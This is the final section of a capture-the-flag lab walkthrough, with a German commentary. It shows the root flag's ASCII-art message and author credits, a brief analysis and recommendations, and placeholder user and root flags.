flag.txt
# cat flag.txt
   ___                        _        _      _   _             _
  / __|___ _ _  __ _ _ _ __ _| |_ _  _| |__ _| |_(_)___ _ _  __| |
 | (__/ _ \ ' \/ _` | '_/ _` |  _| || | / _` |  _| / _ \ ' \(_-<_|
  \___\___/_||_\__, |_| \__,_|\__|\_,_|_\__,_|\__|_\___/_||_/__(_)
               |___/

 (_)
  |--
  |&&&&&&&&&&&&&&|
  |    R O O T   |
  |    F L A G   |
  |&&&&&&&&&&&&&&|
  |--
  |
  |
  |
  |
  |
  |

Nice work!

This CTF was built with love in every byte by @berzerk0 on Twitter.

Special thanks to psf, @nbulischeck and the whole Fofao Team.
                    

Analyse: Als Root wird das Verzeichnis `/root` aufgesucht. Die Datei `flag.txt` wird gefunden und ihr Inhalt angezeigt.

Bewertung: Die Root-Flag (in Form der ASCII-Art und der Nachricht) wurde erfolgreich gefunden.

Empfehlung (Pentester): Dokumentiere die Root-Flag. Suche die User-Flag (wahrscheinlich `/home/baksteen/user.txt` oder ähnlich).
Empfehlung (Admin): Keine spezifische Aktion bezüglich der Flag.

Flags

cat /home/baksteen/user.txt
USER_FLAG_PLACEHOLDER
cat /root/flag.txt
ROOT_FLAG_PLACEHOLDER_AUS_ASCII_ART